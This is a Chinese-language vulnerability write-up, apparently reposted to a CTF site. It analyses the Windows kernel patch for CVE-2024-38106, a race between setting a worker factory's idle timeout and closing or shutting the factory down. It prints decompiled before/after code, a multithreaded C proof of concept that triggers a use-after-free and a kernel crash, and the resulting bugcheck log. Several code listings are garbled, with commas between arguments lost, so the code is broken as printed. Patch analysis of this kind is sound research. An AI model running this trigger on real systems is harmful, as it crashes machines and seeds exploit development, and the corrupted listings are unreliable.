CVE-2024-38106 race condition 漏洞分析

解析 CVE-2024-38106 的patch

在8月的安全补丁中,微软修复了多个ntoskrnl.exe漏洞,其中一个漏洞(CVE-2024-38106)正在被野外利用。由于在野外被利用的漏洞通常需要更为密切的关注,我们尝试为其创建一个POC。补丁分析期间使用的Windows版本:Windows 11,7月25日对比8月14日。

这篇文章并非深入的根本原因分析,但希望仍然有趣。

以下是结果:

CVE-2024-38106 race condition 漏洞分析
1.jpg

在快速过滤掉非安全更改后,我们确定了两个值得关注的函数:VslGetSetSecureContext()NtSetInformationWorkerFactory()

VslGetSetSecureContext()

之前:

__int64 __fastcall VslGetSetSecureContext(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
 memset(v11, 00x68ui64);
 v11[1] = a2;
 v11[2] = a3;
 v11[3] = a4;
 LOWORD(v8) = (a1 != 0) + 14;
 LOBYTE(v9) = 2;
 return VslpEnterIumSecureMode(v9, v8, 0i64, v11);
}

之后:

__int64 __fastcall VslGetSetSecureContext(__int64 a1, int a2, int a3)
{
 memset(v11, 00x68ui64);
 memset(v10, 00x48ui64);
 v6 = 15;
 if ( !a1 )
   v6 = 14;
 WORD1(v11[0]) = v6;
 result = VslpLockPagesForTransfer((unsigned int)v10, a2, a3, a1 != 00);
 if ( (int)result >= 0 )
 {
   v11[1] = v10[0];
   LOBYTE(v8) = 2;
   v11[2] = v10[7];
   v9 = VslpEnterIumSecureMode(v8, WORD1(v11[0]), 0i64, v11);
   VslpUnlockPagesForTransfer(v10);
   return v9;
 }
 return result;

此补丁通过为与VBS安全内核相关的VslpEnterIumSecureMode()操作实现适当的锁定,修复了一个竞态条件。

NtSetInformationWorkerFactory()

此处的代码更改要复杂一些。与安全相关的部分如下所示:

之前:

if ( v69[3] >= 0i64 )
  goto LABEL_155;
if ( v69[3] > (__int64)0xFFFFFFFFFF676980ui64 )
  v69[3] = 0xFFFFFFFFFF676980ui64;
if ( v69[3] < (__int64)0xFFFFFFFE9A5F4400ui64 )
  v69[3] = 0xFFFFFFFE9A5F4400ui64;
v40 = v69[3];
*(((_QWORD *)v15 + 14) = v69[3];
v69[1] = -1i64;
KeSetTimer2(v15 + 424, v40, -v40, v69);
goto LABEL_89;

之后:

   case 2// enum WORKERFACTORYINFOCLASS: WorkerFactoryIdleTimeout 
      if ( (unsigned int)Feature_1697191224__private_IsEnabledDeviceUsage()
        && *(_BYTE *)(*(((_QWORD *)v16 + 2) + 0x21i64) )
      {
        Thread = 0x80;
        goto LABEL_41;
      }
      v20 = v63[3];
      if ( v63[3] >= 0i64 )
      {
        Thread = 0xC000000D;
        v15 = 0;
      }
      else
      {
        if ( v63[3] > -10000000i64 )
          v20 = -10000000i64;
        if ( v20 < -6000000000i64 )
          v20 = -6000000000i64;
        v63[3] = v20;
        *(((_QWORD *)v16 + 14) = v20;
        v63[1] = -1i64;
        KeSetTimer2((__int64)(v16 + 424), v20, -v20, (__int64)v63);
        v15 = 0;
      }
      goto LABEL_99;

如你所见,添加了一个标志检查:

*(_BYTE *)(*(((_QWORD *)v16 + 2) + 0x21i64) )

此标志在**NtShutdownWorkerFactory() –> ExpShutdownWorkerFactory()**内部的关闭过程中被设置:

Object = 0i64;
v4 = ObReferenceObjectByHandle(a1, 0x20u, ExpWorkerFactoryObjectType, PreviousMode, &Object, 0i64);
if ( v4 >= 0 )
{
  v5 = (struct _EX_RUNDOWN_REF *)Object;
  ExpShutdownWorkerFactory(Object);
if ( (Object[51] & 0x200) != 0 )
    ExpLeaveWorkerFactoryAwayMode(Object);
if ( (_QWORD *)Object[74] == Object + 53 && (unsigned __int8)KiDeregisterObjectWaitBlock(Object + 53) )
    ObfDereferenceObjectWithTag(Object, 0x746C6644u);
*(_BYTE *)(Object[2] + 33i64) = 1;            // shutdown flag set

这意味着确实存在对象构造(通过NtSetInformationWorkerFactory(.., WorkerFactoryIdleTimeout, ..))和销毁(通过NtShutdownWorkerFactory())之间的竞态条件。下面展示了POC。

概念验证

#include "nt.h"
#include "stdio.h"
#include "time.h"

#define TEST_RACE_COUNT 0x6000

HANDLE hWorkingFactory;
HANDLE hIoCompletion;
HANDLE hProcess;

DWORD WINAPI th_working_factory_constructor(LPVOID Param) 
{
  WORKER_FACTORY_BASIC_INFORMATION worker_info_buf = { 0x0 };
  DWORD out_len;
  hProcess = GetCurrentProcess();
  hIoCompletion = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL00);
  LONG wk;
  NTSTATUS stat;
  for (int i = 0; i < 0x800000; i++) {
    hWorkingFactory = NULL;
    stat = NtCreateWorkerFactory(&hWorkingFactory, GENERIC_ALL, NULL, hIoCompletion, hProcess, NULL0200);
    NtClose(hWorkingFactory);
  }

  ExitThread(0);
}

void race_test_working_factory() 
{
  LARGE_INTEGER liDueTime;

  LONGLONG timeouts[] = { -1000000LL, -2000000LL, -3000000LL, -5000000LL, -10000000LL, -20000000LL, -30000000LL };

  LONG wk;
  for (size_t k = 0; k < 7; k++) {
    for (size_t i = 0; i < TEST_RACE_COUNT; i++) {
      liDueTime.QuadPart = timeouts[k];    // 0.1-20 seconds
      NtSetInformationWorkerFactory(hWorkingFactory, WorkerFactoryIdleTimeout, &liDueTime, sizeof(liDueTime));
    }
  }
}

void race_test_close() {
  while (1) {
    NtClose(hWorkingFactory);
  }
}

void race_test_nls() {
  getchar();
  HANDLE hThread_constructor = CreateThread(NULL0, (LPTHREAD_START_ROUTINE)th_working_factory_constructor, 00NULL);
  HANDLE hThread_constructor3 = CreateThread(NULL0, (LPTHREAD_START_ROUTINE)race_test_working_factory, 00NULL);
  HANDLE hThread_constructor2 = CreateThread(NULL0, (LPTHREAD_START_ROUTINE)race_test_close, 00NULL);
  WaitForSingleObject(hThread_constructor, INFINITE);
}

int main() {
  srand(time(NULL));
  init_lib_calls();
  hProcess = GetCurrentProcess();
  race_test_nls();
}

请注意,要触发该漏洞,需要在工作工厂对象句柄上调用NtClose()以达到易受攻击的状态。

崩溃日志

IRQL_NOT_LESS_OR_EQUAL (a)
在过高的中断请求级别 (IRQL) 下尝试访问可分页(或完全无效的)地址。这通常是由于驱动程序使用了不正确的地址。
如果有可用的内核调试器,请获取堆栈回溯。
参数:
参数1: ffff800520e90f50, 被引用的内存
参数2: 0000000000000002, IRQL
参数3: 0000000000000000, 位域:
位 0 : 值 0 = 读取操作, 1 = 写入操作
位 3 : 值 0 = 非执行操作, 1 = 执行操作(仅适用于支持此级别状态的芯片)
参数4: fffff803250bc750, 引用了内存的地址

调试详情:

键 : WER.OS.Version
值: 10.0.19041.1
BUGCHECK_CODE: a
BUGCHECK_P1: ffff800520e90f50
BUGCHECK_P2: 2
BUGCHECK_P3: 0
BUGCHECK_P4: fffff803250bc750
READ_ADDRESS: ffff800520e90f50 特殊池
PROCESS_NAME: nt_race_tester.exe

TRAP_FRAME: ffffc38c54653740 -- (.trap 0xffffc38c54653740)
注意:陷阱帧不包含所有寄存器。
一些寄存器值可能被清零或不正确。
rax=ffff800520e90f20 rbx=0000000000000000 rcx=000000006a4618d3
rdx=ffff800520e90f20 rsi=0000000000000000 rdi=0000000000000000
rip=fffff803250bc750 rsp=ffffc38c546538d0 rbp=0000000000000001
r8=ffffc38c54653900 r9=0000000000000000 r10=fffff80324e0d000
r11=ffff800523464f20 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
nt!KiInsertTimer2WithCollectionLockHeld+0xc0:
fffff803250bc750 483b4a30 cmp rcx,qword ptr [rdx+30h] ds:ffff800520e90f50=????????????????
重置默认范围

STACK_TEXT:
ffffc38c54652e48 fffff80325325e12 : ffffc38c54652fb0 fffff8032518c470 0000000000000000 0000000000000000 : nt!DbgBreakPointWithStatus
ffffc38c54652e50 fffff803253253f6 : 0000000000000003 ffffc38c54652fb0 fffff80325222ae0 000000000000000a : nt!KiBugCheckDebugBreak+0x12
ffffc38c54652eb0 fffff8032520abf7 : 0000000000000000 0000000000000001 ffff800512a86f08 ffffc38c546535e0 : nt!KeBugCheck2+0x946
ffffc38c546535c0 fffff8032521f3a9 : 000000000000000a ffff800520e90f50 0000000000000002 0000000000000000 : nt!KeBugCheckEx+0x107
ffffc38c54653600 fffff8032521ad78 : 0000000000000400 ffffc60d744dcec0 0000000000000218 ffff800505d7af20 : nt!KiBugCheckDispatch+0x69
ffffc38c54653740 fffff803250bc750 : 0000000000000000 ffff800512a86f8a 0000000000000000 fffff80325a3ece0 : nt!KiPageFault+0x478
ffffc38c546538d0 fffff803250bc3e2 : ffff800512a86f08 ffff800512a86f01 0000000000000001 0000000000000001 : nt!KiInsertTimer2WithCollectionLockHeld+0xc0
ffffc38c54653920 fffff80325116e5b : 0000000000000000 00001f8000e90000 0000000000000002 0000000000000000 : nt!KeSetTimer2+0x172
ffffc38c54653990 fffff8032521eb05 : 0000000000000000 0000000000000000 0000000000000000 ffff800500000000 : nt!NtSetInformationWorkerFactory+0x62b
ffffc38c54653b00 00007ffd7f0704c4 : 00007ff668ab1304 0000000000000000 0000000000000000 0000000000000000 : nt!KiSystemServiceCopyEnd+0x25
0000000e9d7ffe58 00007ff668ab1304 : 0000000000000000 0000000000000000 0000000000000000 0000000000000000 : ntdll!NtSetInformationWorkerFactory+0x14
0000000e9d7ffe60 0000000000000000 : 0000000000000000 0000000000000000 0000000000000000 0000000000000003 : nt_race_tester+0x1304

符号名称: nt!KiInsertTimer2WithCollectionLockHeld+c0
模块名称: nt
映像名称: ntkrnlmp.exe

如我们所见,在达到 KiInsertTimer2WithCollectionLockHeld() 时,工作工厂对象和相关定时器已经被释放。

3: kd> dq ffff800520e90f50
ffff800520e90f50 ???????????????? ????????????????
ffff800520e90f60 ???????????????? ????????????????
ffff800520e90f70 ???????????????? ????????????????
ffff800520e90f80 ???????????????? ????????????????
ffff800520e90f90 ???????????????? ????????????????
ffff800520e90fa0 ???????????????? ????????????????
ffff800520e90fb0 ???????????????? ????????????????
ffff800520e90fc0 ???????????????? ????????????????
3: kd> !pool ffff800520e90f50
池页面 ffff800520e90f50 区域为特殊池
ffff800520e90000: 无法获取特殊池块内容


原文始发于微信公众号(3072):CVE-2024-38106 race condition 漏洞分析

版权声明:admin 发表于 2024年9月4日 上午11:39。
转载请注明:CVE-2024-38106 race condition 漏洞分析 | CTF导航

相关文章